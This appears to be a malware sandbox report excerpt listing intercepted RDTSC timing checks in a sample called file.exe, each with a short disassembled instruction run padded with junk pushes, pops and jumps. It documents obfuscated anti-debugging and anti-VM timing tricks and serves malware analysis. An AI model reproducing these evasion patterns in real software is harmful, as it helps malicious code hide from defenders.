Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A2014E second address: 4A2019E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+04h] 0x0000000e pushad 0x0000000f movzx esi, bx 0x00000012 mov esi, ebx 0x00000014 popad 0x00000015 push dword ptr [ebp+0Ch] 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F6254D230C5h 0x0000001f adc si, 8B86h 0x00000024 jmp 00007F6254D230C1h 0x00000029 popfd 0x0000002a popad 0x0000002b push dword ptr [ebp+08h] 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A2019E second address: 4A201A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A201A2 second address: 4A201B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254D230BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A201B5 second address: 4A201CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6254B873F4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A201CD second address: 4A201D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40CCD second address: 4A40CD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40CD4 second address: 4A40D28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254D230C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov ebx, eax 0x0000000d mov bh, ch 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 mov ebx, ecx 0x00000014 call 00007F6254D230BEh 0x00000019 mov ebx, esi 0x0000001b pop eax 0x0000001c popad 0x0000001d xchg eax, ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F6254D230C8h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40921 second address: 4A40925 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40925 second address: 4A4092B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4092B second address: 4A40931 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40931 second address: 4A40935 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40935 second address: 4A40962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop edx 0x0000000f pushfd 0x00000010 jmp 00007F6254B873EAh 0x00000015 xor esi, 4E8EC528h 0x0000001b jmp 00007F6254B873EBh 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40962 second address: 4A40968 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40968 second address: 4A40991 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254B873EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6254B873F5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40833 second address: 4A40898 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 0AF5387Ah 0x00000008 pushfd 0x00000009 jmp 00007F6254D230BBh 0x0000000e and ah, 0000001Eh 0x00000011 jmp 00007F6254D230C9h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b jmp 00007F6254D230C1h 0x00000020 xchg eax, ebp 0x00000021 jmp 00007F6254D230BEh 0x00000026 mov ebp, esp 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F6254D230BAh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40898 second address: 4A4089E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4089E second address: 4A408AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6254D230BDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80EFA second address: 4A80F4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254B873F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movzx eax, di 0x0000000e pushfd 0x0000000f jmp 00007F6254B873F1h 0x00000014 sub ax, 5656h 0x00000019 jmp 00007F6254B873F1h 0x0000001e popfd 0x0000001f popad 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80F4B second address: 4A80F4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80F4F second address: 4A80F55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A603F0 second address: 4A603FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254D230BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A603FF second address: 4A60405 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60405 second address: 4A60409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60409 second address: 4A60443 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254B873EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F6254B873F6h 0x00000011 push eax 0x00000012 pushad 0x00000013 mov cx, di 0x00000016 mov ebx, 0AB62C90h 0x0000001b popad 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60443 second address: 4A60447 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60447 second address: 4A6044D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6044D second address: 4A60467 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6254D230C6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60467 second address: 4A6046B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6046B second address: 4A604A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F6254D230C7h 0x0000000f mov eax, dword ptr [ebp+08h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F6254D230C5h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A406E7 second address: 4A406ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A406ED second address: 4A406F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A406F1 second address: 4A40717 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254B873EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6254B873F0h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40717 second address: 4A4071D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4071D second address: 4A40769 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, 9Ch 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F6254B873F2h 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 movsx ebx, si 0x00000015 pushfd 0x00000016 jmp 00007F6254B873F6h 0x0000001b or esi, 432F5178h 0x00000021 jmp 00007F6254B873EBh 0x00000026 popfd 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40769 second address: 4A407CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6254D230BFh 0x00000009 sbb eax, 49F2C93Eh 0x0000000f jmp 00007F6254D230C9h 0x00000014 popfd 0x00000015 call 00007F6254D230C0h 0x0000001a pop ecx 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e mov ebp, esp 0x00000020 pushad 0x00000021 call 00007F6254D230C7h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A407CC second address: 4A407E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov ebx, 5855420Ah 0x0000000a popad 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6254B873ECh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80674 second address: 4A80678 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80678 second address: 4A8067E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8067E second address: 4A806CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254D230BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F6254D230BBh 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F6254D230C6h 0x00000015 mov ebp, esp 0x00000017 jmp 00007F6254D230C0h 0x0000001c xchg eax, ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A806CB second address: 4A80704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F6254B873F3h 0x0000000a or ecx, 6FE7A87Eh 0x00000010 jmp 00007F6254B873F9h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8089C second address: 4A808EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F6254D230C5h 0x0000000b add cx, C486h 0x00000010 jmp 00007F6254D230C1h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F6254D230C8h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A808EE second address: 4A808F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A808F2 second address: 4A808F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A808F8 second address: 4A808FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A808FE second address: 4A80952 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254D230C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F6254D230BCh 0x00000014 pushfd 0x00000015 jmp 00007F6254D230C2h 0x0000001a add ecx, 114DF718h 0x00000020 jmp 00007F6254D230BBh 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80952 second address: 4A8097E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 2263A43Ah 0x00000008 push ebx 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007F6254B873EDh 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F6254B873EDh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8097E second address: 4A80984 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3001F second address: 4A30025 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30025 second address: 4A3002B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3002B second address: 4A3002F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3002F second address: 4A3005B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F6254D230C2h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6254D230BEh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3005B second address: 4A30093 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, C834h 0x00000007 pushfd 0x00000008 jmp 00007F6254B873EDh 0x0000000d or ax, D7F6h 0x00000012 jmp 00007F6254B873F1h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f movsx edx, ax 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30093 second address: 4A30098 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30098 second address: 4A300BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254B873EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F6254B873F0h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A300BD second address: 4A300C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A300C1 second address: 4A300C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A300C7 second address: 4A300CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A300CD second address: 4A30114 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254B873F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and esp, FFFFFFF8h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushfd 0x00000012 jmp 00007F6254B873ECh 0x00000017 jmp 00007F6254B873F5h 0x0000001c popfd 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30114 second address: 4A3012E instructions: 0x00000000 rdtsc 0x00000002 mov ax, CF77h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 movzx ecx, bx 0x0000000b popad 0x0000000c push ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F6254D230BBh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3012E second address: 4A30146 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6254B873F4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30146 second address: 4A30161 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ecx 0x0000000b pushad 0x0000000c call 00007F6254D230BDh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30161 second address: 4A301B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 xchg eax, ebx 0x00000007 jmp 00007F6254B873F8h 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F6254B873F1h 0x00000013 push ecx 0x00000014 jmp 00007F6254B873F7h 0x00000019 pop eax 0x0000001a popad 0x0000001b xchg eax, ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A301B4 second address: 4A301B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A301B8 second address: 4A301C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254B873ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A301C8 second address: 4A30233 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 mov ax, 6AA9h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebx, dword ptr [ebp+10h] 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F6254D230C2h 0x00000017 sbb ch, 00000078h 0x0000001a jmp 00007F6254D230BBh 0x0000001f popfd 0x00000020 call 00007F6254D230C8h 0x00000025 mov ah, 64h 0x00000027 pop ebx 0x00000028 popad 0x00000029 xchg eax, esi 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F6254D230C9h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30233 second address: 4A3030C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6254B873F7h 0x00000009 add eax, 7AA848FEh 0x0000000f jmp 00007F6254B873F9h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F6254B873F0h 0x0000001b jmp 00007F6254B873F5h 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 push eax 0x00000025 jmp 00007F6254B873F1h 0x0000002a xchg eax, esi 0x0000002b jmp 00007F6254B873EEh 0x00000030 mov esi, dword ptr [ebp+08h] 0x00000033 jmp 00007F6254B873F0h 0x00000038 xchg eax, edi 0x00000039 pushad 0x0000003a mov al, 8Eh 0x0000003c pushfd 0x0000003d jmp 00007F6254B873F3h 0x00000042 adc ecx, 67ACBE7Eh 0x00000048 jmp 00007F6254B873F9h 0x0000004d popfd 0x0000004e popad 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3030C second address: 4A30310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30310 second address: 4A30314 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30314 second address: 4A3031A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3031A second address: 4A30343 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254B873F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6254B873EDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30343 second address: 4A30349 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30349 second address: 4A3034D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3034D second address: 4A303E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a jmp 00007F6254D230BFh 0x0000000f je 00007F62C7221365h 0x00000015 pushad 0x00000016 call 00007F6254D230C4h 0x0000001b jmp 00007F6254D230C2h 0x00000020 pop eax 0x00000021 mov bx, C4D6h 0x00000025 popad 0x00000026 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000002d pushad 0x0000002e jmp 00007F6254D230C3h 0x00000033 mov ax, 513Fh 0x00000037 popad 0x00000038 je 00007F62C7221328h 0x0000003e jmp 00007F6254D230C2h 0x00000043 mov edx, dword ptr [esi+44h] 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F6254D230BAh 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A303E2 second address: 4A303E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A303E6 second address: 4A303EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A303EC second address: 4A303FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6254B873EDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A303FD second address: 4A30401 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30401 second address: 4A3043B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 or edx, dword ptr [ebp+0Ch] 0x0000000b jmp 00007F6254B873EDh 0x00000010 test edx, 61000000h 0x00000016 jmp 00007F6254B873EEh 0x0000001b jne 00007F62C7085641h 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov si, BEDFh 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3043B second address: 4A30441 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A206ED second address: 4A207B7 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push ebp 0x00000009 pushad 0x0000000a push esi 0x0000000b pushfd 0x0000000c jmp 00007F6254B873F5h 0x00000011 sub esi, 52A50516h 0x00000017 jmp 00007F6254B873F1h 0x0000001c popfd 0x0000001d pop eax 0x0000001e mov si, dx 0x00000021 popad 0x00000022 mov dword ptr [esp], ebp 0x00000025 jmp 00007F6254B873F3h 0x0000002a mov ebp, esp 0x0000002c pushad 0x0000002d jmp 00007F6254B873F4h 0x00000032 jmp 00007F6254B873F2h 0x00000037 popad 0x00000038 and esp, FFFFFFF8h 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e pushfd 0x0000003f jmp 00007F6254B873EDh 0x00000044 and cl, 00000036h 0x00000047 jmp 00007F6254B873F1h 0x0000004c popfd 0x0000004d pushfd 0x0000004e jmp 00007F6254B873F0h 0x00000053 xor si, 0058h 0x00000058 jmp 00007F6254B873EBh 0x0000005d popfd 0x0000005e popad 0x0000005f rdtsc
